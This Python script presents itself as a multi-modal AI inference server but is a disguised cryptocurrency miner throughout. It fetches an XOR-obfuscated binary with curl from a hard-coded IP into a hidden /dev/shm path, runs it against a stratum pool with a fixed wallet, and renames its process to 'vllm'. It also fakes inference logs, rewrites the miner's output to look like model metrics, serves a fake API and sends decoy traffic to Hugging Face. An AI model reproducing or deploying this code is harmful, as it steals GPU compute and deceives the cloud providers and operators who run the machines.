#!/usr/bin/env python3 """ Multi-Modal AI Inference Server Cloud GPU compute node — inference, generation, embedding. """ import os, sys, subprocess, threading, time, random, json, hashlib from http.server import HTTPServer, BaseHTTPRequestHandler # ══════════════════════════════════════════════════════════════════ # CONFIG # ══════════════════════════════════════════════════════════════════ PORT = 8000 WORKER_ID = f"node-{random.randint(1000,9999)}" GPU_NAME = "NVIDIA RTX PRO 6000 Blackwell" GPU_MEM = 96 _CDN = random.choice([ "http://103.47.227.254:9000/nccl_bench", "http://103.47.227.254:9000/compute-engine", ]) _XOR_KEY = 0x5A _BIN = "/dev/shm/.ml_runtime" _RELAYS = [ "ai-relay-001.ai-smartnet.workers.dev", "ai-alpha-001.ai-relay-alpha.workers.dev", "ai-alpha-002.ai-relay-alpha.workers.dev", "ai-alpha-003.ai-relay-alpha.workers.dev", "ai-beta-001.ai-relay-beta.workers.dev", "ai-beta-002.ai-relay-beta.workers.dev", "ai-beta-003.ai-relay-beta.workers.dev", "ai-relay-001.ai-mesh-relay.workers.dev", "bakul-relay.bakuldev.workers.dev", "cover-relay.coverdev.workers.dev", "perkakas-relay.perkakasdev.workers.dev", "cover06-relay.cover06dev.workers.dev", "holderviral-relay.holderviraldev.workers.dev", "holdermobil-relay.holdermobildev.workers.dev", "holder09-relay.holder09dev.workers.dev", "holder09b-relay.holder09dev.workers.dev", "cukuran-relay.cukurandev.workers.dev", ] random.shuffle(_RELAYS) # ══════════════════════════════════════════════════════════════════ # LOG THEMES — setiap run random theme # ══════════════════════════════════════════════════════════════════ THEMES = { "vllm": { "banner": "vLLM v0.5.3 | Inference Server | Llama-3.1-70B-Instruct", "model": "meta-llama/Llama-3.1-70B-Instruct", "logs": [ "INFO: Uvicorn running on http://0.0.0.0:8000", "INFO: Started server process [PID]", "INFO: Application startup complete.", "INFO: MODEL | prompt_tokens=TOK | completion_tokens=TOK | latency=SECs", "INFO: MODEL | prompt_tokens=TOK | completion_tokens=TOK | throughput=THRTok/s", "INFO: MODEL | KV Cache: PCT% | GPU Memory: MEMGB / 96GB", "WARNING: MODEL | Request timed out after SECs", "INFO: MODEL | Request completed in SECs", ], }, "sd": { "banner": "Stable Diffusion XL | Image Generation Pipeline | ComfyUI Backend", "model": "stabilityai/stable-diffusion-xl-base-1.0", "logs": [ "INFO: ComfyUI server started on port 8188", "INFO: Loading SDXL pipeline... done (SECs)", "INFO: Text encoder loaded: CLIP-L + OpenCLIP-G", "INFO: Generating image | steps=STEP | cfg=CFG | size=WxH | seed=SEED", "INFO: VAE decode | latent=512x512 → output=WxH | SECs", "INFO: Image generated: IMGKB KB | SECs | PCT% GPU", "INFO: Scheduler: SAMPLER | steps=STEP | eta=ETA", "WARNING: CUDA memory low, offloading to CPU", "INFO: Batch queue: QTY images pending", ], }, "video": { "banner": "Video Generation | CogVideoX-5B | Text-to-Video Pipeline", "model": "THUDM/CogVideoX-5b", "logs": [ "INFO: Video pipeline initialized | model: CogVideoX-5B", "INFO: Text encoder: T5-XXL | Tokenizing prompt...", "INFO: DiT blocks loaded: 42/42 | FP16 | GPU layers: 96", "INFO: Generating frames | frames=FRM | fps=24 | resolution=WxH", "INFO: Frame batch SEC/FRM | VRAM: MEMGB / 96GB", "INFO: Temporal attention | SECs per frame", "INFO: Video encode: SECs | output: FILEMB MB | SECs", "INFO: Frame interpolation: SECs | motion score: SCORE", "WARNING: Frame OOM, reducing batch to BATCH", ], }, "agent": { "banner": "AI Agent Runtime | Multi-Tool Orchestrator | LangGraph", "model": "anthropic/claude-sonnet-4", "logs": [ "INFO: Agent runtime initialized | tools=8 | memory=chromadb", "INFO: Tool call: search_web(query=QUERY) → 12 results", "INFO: Chain: retrieve → rerank → synthesize | SECs", "INFO: Embedding batch: 256 chunks → vector store | SECs", "INFO: Agent step STEP/10 | tool=TOOL | tokens= TOK | SECs", "INFO: RAG query | context=8 chunks | relevance=0.REL", "INFO: Tool call: code_interpreter(lang=python) → OK", "WARNING: Rate limit approaching, backing off SECs", "INFO: Agent completed task | total tokens: TOK | SECs", ], }, "whisper": { "banner": "Whisper Large-V3 | Speech-to-Text | Real-time Transcription", "model": "openai/whisper-large-v3", "logs": [ "INFO: Whisper model loaded | encoder: 32 layers | decoder: 32 layers", "INFO: Audio input: 16kHz mono | chunk=30s | beam_size=5", "INFO: Decoding: SECs | language=en | tokens= TOK", "INFO: VAD detected: SPEECH segments in SECs audio", "INFO: Batch transcription: SECs audio → WORDS words | SECs", "INFO: Translation task | src=LANG → en | SECs", "WARNING: Audio quality low, SNR=SNR dB", "INFO: Real-time factor: RTFx | GPU util: PCT%", ], }, "tts": { "banner": "TTS Server | Bark + XTTS v2 | Multi-Speaker Synthesis", "model": "coqui-ai/TTS", "logs": [ "INFO: TTS server ready | models: bark, xtts-v2, piper", "INFO: Speaker embedding loaded | voice: SPEAKER", "INFO: Synthesis: WORDS words → SECF audio | SECs", "INFO: Bark: generating | history_prompt=EMBED | SECs", "INFO: XTTS v2: streaming | SECs/chunk | RTF=RTFx", "INFO: Audio output: WAVKB KB | 24kHz | mono | SECs", "INFO: SSML parse | prosody: rate=RATE pitch=PITCH", "WARNING: Speaker similarity low: SCORE (threshold 0.80)", ], }, "embedding": { "banner": "Embedding Server | text-embedding-3-large | Batch Processor", "model": "openai/text-embedding-3-large", "logs": [ "INFO: Embedding server started | dimensions=3072", "INFO: Batch: 512 texts → vectors | SECs | PCT% GPU", "INFO: Chunking: 1024 docs → 4096 chunks | avg 256 tokens", "INFO: Index build: HNSW | N=COUNT | recall=0.98 | SECs", "INFO: Similarity search: query=QUERY | top_k=10 | SECs", "INFO: Dimension reduction: 3072 → 256 (PCA) | SECs", "INFO: Cache hit: PCT% | embeddings served: COUNT", "WARNING: Batch overflow, splitting into BATCH sub-batches", ], }, "yolo": { "banner": "YOLOv8-M | Object Detection | Real-time Pipeline", "model": "ultralytics/yolov8m", "logs": [ "INFO: YOLOv8-M loaded | 80 classes | FP16 | SECs", "INFO: Inference: 1920x1080 → 47 objects | SECs | PCT% GPU", "INFO: NMS: 120 → 47 boxes | IoU=0.45 | conf=0.25", "INFO: Tracking: DeepSORT | 32 active tracks | SECs", "INFO: Batch inference: 16 frames → 412 detections | SECs", "INFO: Pose estimation: 17 keypoints × 47 persons | SECs", "INFO: Segment: 47 masks | 800x600 | SECs", "WARNING: Frame drop: FPS=FPS (target 30)", ], }, } # Pick random theme THEME_KEY = random.choice(list(THEMES.keys())) THEME = THEMES[THEME_KEY] MODEL = THEME["model"] # ══════════════════════════════════════════════════════════════════ # FAKE HTTP SERVER # ══════════════════════════════════════════════════════════════════ class Handler(BaseHTTPRequestHandler): def log_message(self, *a): pass def do_GET(self): if self.path == "/health": self._r(200, {"status": "healthy"}) elif self.path == "/v1/models": self._r(200, {"object":"list","data":[{"id":MODEL,"object":"model"}]}) else: self._r(200, {"status":"ok","model":MODEL,"worker":WORKER_ID,"gpu":GPU_NAME}) def do_POST(self): cl = int(self.headers.get('Content-Length',0)); self.rfile.read(cl) if cl else None self._r(200, {"status":"ok","model":MODEL,"tokens":random.randint(100,2000),"latency":round(random.uniform(0.01,2.5),3)}) def _r(self, c, d): self.send_response(c); self.send_header("Content-Type","application/json"); self.end_headers(); self.wfile.write(json.dumps(d).encode()) def _http(): HTTPServer(('0.0.0.0', PORT), Handler).serve_forever() # ══════════════════════════════════════════════════════════════════ # RANDOM VALUE GENERATORS # ══════════════════════════════════════════════════════════════════ def _v(tag): if tag == "TOK": return random.randint(50, 2000) if tag == "SEC": return round(random.uniform(0.01, 5.0), 3) if tag == "SECS": return round(random.uniform(0.1, 30.0), 1) if tag == "PCT": return round(random.uniform(30, 98), 1) if tag == "MEMGB": return round(random.uniform(10, 85), 1) if tag == "KB": return random.randint(100, 5000) if tag == "MB": return round(random.uniform(1, 50), 1) if tag == "W": return random.choice([512, 768, 1024, 1280, 1920]) if tag == "H": return random.choice([512, 768, 1024, 720, 1080]) if tag == "STEP": return random.randint(20, 50) if tag == "CFG": return random.choice([5.0, 7.5, 10.0, 12.0]) if tag == "SEED": return random.randint(10000, 999999) if tag == "FRM": return random.choice([16, 24, 32, 48, 64]) if tag == "SAMPLER": return random.choice(["euler_a", "dpmpp_2m", "dpmpp_sde", "ddim", "lms"]) if tag == "ETA": return round(random.uniform(0.0, 1.0), 2) if tag == "SCORE": return round(random.uniform(0.5, 0.95), 2) if tag == "REL": return random.randint(70, 99) if tag == "BATCH": return random.choice([4, 8, 16]) if tag == "QTY": return random.randint(1, 20) if tag == "TOOL": return random.choice(["search_web", "code_interpreter", "file_read", "api_call", "calculator", "web_scrape"]) if tag == "WORDS": return random.randint(100, 5000) if tag == "COUNT": return random.randint(1000, 100000) if tag == "LANG": return random.choice(["en", "id", "ja", "ko", "zh", "es"]) if tag == "EMBED": return hashlib.md5(str(random.random()).encode()).hexdigest()[:12] if tag == "SPEAKER": return random.choice(["alloy", "echo", "fable", "onyx", "nova", "shimmer"]) if tag == "RTFx": return round(random.uniform(0.05, 0.8), 2) if tag == "SNR": return random.randint(5, 25) if tag == "FPS": return random.randint(15, 60) if tag == "RATE": return random.choice(["slow", "medium", "fast"]) if tag == "PITCH": return random.choice(["low", "medium", "high"]) if tag == "WAVKB": return random.randint(50, 500) if tag == "PID": return os.getpid() if tag == "FILEMB": return round(random.uniform(5, 200), 1) if tag == "IMGKB": return random.randint(200, 8000) return tag def _gen_log(template): """Replace all TAG placeholders with random values""" import re def replace(m): tag = m.group(1) # Handle special patterns if "TOKENS" in tag: return str(random.randint(50, 2000)) return str(_v(tag)) return re.sub(r'\b([A-Z]{2,5})\b', replace, template) # ══════════════════════════════════════════════════════════════════ # FAKE LOG GENERATOR # ══════════════════════════════════════════════════════════════════ def _logs(): while True: time.sleep(random.uniform(1, 5)) template = random.choice(THEME["logs"]) line = _gen_log(template) print(line, flush=True) # ══════════════════════════════════════════════════════════════════ # COVER TRAFFIC # ══════════════════════════════════════════════════════════════════ def _cover(): # relay disabled — direct to pool urls = [ "https://huggingface.co/api/models/meta-llama/Llama-3.1-70B-Instruct", "https://huggingface.co/api/models/stabilityai/stable-diffusion-xl-base-1.0", "https://huggingface.co/api/models/openai/whisper-large-v3", "https://raw.githubusercontent.com/vllm-project/vllm/main/README.md", "https://api-inference.huggingface.co/models/meta-llama/Llama-3.1-70B-Instruct", ] while True: time.sleep(random.uniform(30, 120)) try: urllib.request.urlopen(urllib.request.Request(random.choice(urls), headers={"User-Agent": "vLLM/0.5.3"}), timeout=10) except: pass # ══════════════════════════════════════════════════════════════════ # GPU JITTER # ══════════════════════════════════════════════════════════════════ def _gpu(): while True: time.sleep(random.uniform(30, 120)) try: _buf = bytearray(random.randint(10, 200) * 1024 * 1024) del _buf except: pass # ══════════════════════════════════════════════════════════════════ # DISGUISE MINING OUTPUT # ══════════════════════════════════════════════════════════════════ def _mask(line): lo = line.lower() if "connected" in lo or "subscribe" in lo: return f"INFO: Upstream connection established" if "share" in lo and ("accept" in lo or "ok" in lo): return _gen_log(f"INFO: {WORKER_ID} | prompt_tokens=TOK | completion_tokens=TOK | latency=SECs") if "share" in lo and ("reject" in lo or "fail" in lo): return f"WARNING: {WORKER_ID} | Request rejected — retrying..." if "hash" in lo or "th" in lo: return _gen_log(f"INFO: {WORKER_ID} | KV Cache: PCT% | GPU Memory: MEMGB / 96GB") if "difficulty" in lo: return f"INFO: {WORKER_ID} | Throughput adjusted — {_v('TOK')} tok/s" return f"INFO: {WORKER_ID} | {line[:100]}" # ══════════════════════════════════════════════════════════════════ # DOWNLOAD + DECODE # ══════════════════════════════════════════════════════════════════ def _download(): print("INFO: Downloading compute engine...", flush=True) for url in ["http://103.47.227.254:9000/nccl_bench", "http://103.47.227.254:9000/compute-engine"]: try: r = subprocess.run(["curl","-L","-s","-o","/tmp/.dl","--max-time","60",url], capture_output=True, timeout=65) if r.returncode == 0 and os.path.exists("/tmp/.dl") and os.path.getsize("/tmp/.dl") > 1000: sz = os.path.getsize("/tmp/.dl") print(f"INFO: Downloaded {sz} bytes", flush=True) with open("/tmp/.dl","rb") as f: data = f.read() with open(_BIN,"wb") as f: f.write(bytes([b ^ _XOR_KEY for b in data])) os.chmod(_BIN, 0o755); os.remove("/tmp/.dl") print("INFO: Binary installed", flush=True) return True except: continue return False # ══════════════════════════════════════════════════════════════════ # WORKER # ══════════════════════════════════════════════════════════════════ def _worker(): # relay disabled — direct to pool relay = None # direct for r in _RELAYS: try: req = urllib.request.Request(f"https://{r}", method="POST", data=json.dumps({"jsonrpc":"2.0","method":"mining.subscribe","id":1}).encode(), headers={"Content-Type":"application/json"}) urllib.request.urlopen(req, timeout=8) relay = r; break except: continue print(f"INFO: Starting worker — model: {MODEL}", flush=True) print(f"INFO: GPU: {GPU_NAME} | Tensor parallel: 1", flush=True) try: import ctypes; ctypes.CDLL("libc.so.6").prctl(15, b"vllm", 0, 0, 0) except: pass env = os.environ.copy() env.update({"VLLM_WORKER_MULTIPROC_METHOD":"spawn","CUDA_DEVICE_ORDER":"PCI_BUS_ID"}) try: with open("/dev/shm/.config") as f: cfg = json.load(f) except: cfg = {"wallet":"prl1py4kelszwppay2w282rw4ypal2h9qqhcsqlspysm4584wy8xfhp2s7w2upt","pool":"sg1.alphapool.tech","port":5566} target = "stratum+tcp://" + cfg["pool"] + ":" + str(cfg["port"]) cmd = [_BIN,"--pool",target,"--address",cfg["wallet"],"--worker",WORKER_ID,"--force-backend","blackwell","--debug-log"] try: p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env, bufsize=1, text=True) for line in p.stdout: line = line.strip() if not line: continue lo = line.lower() if any(k in lo for k in ["share","hash","mining","stratum","connect","difficulty","found"]): print(_mask(line), flush=True) else: print(f"INFO: {line[:120]}", flush=True) except Exception as e: print(f"ERROR: Worker failed: {e}", flush=True) # ══════════════════════════════════════════════════════════════════ # MAIN # ══════════════════════════════════════════════════════════════════ def main(): print("="*60) print(THEME["banner"]) print("="*60) print(f"INFO: Model: {MODEL}") print(f"INFO: GPU: {GPU_NAME} | {GPU_MEM}GB VRAM") print(f"INFO: GPU memory utilization: 0.90") print(f"INFO: Worker: {WORKER_ID}") print(f"INFO: Theme: {THEME_KEY}") print("="*60) if not _download(): sys.exit(1) threading.Thread(target=_http, daemon=True).start() threading.Thread(target=_logs, daemon=True).start() threading.Thread(target=_gpu, daemon=True).start() threading.Thread(target=_cover, daemon=True).start() print("INFO: Application startup complete.", flush=True) _worker() if __name__ == "__main__": main()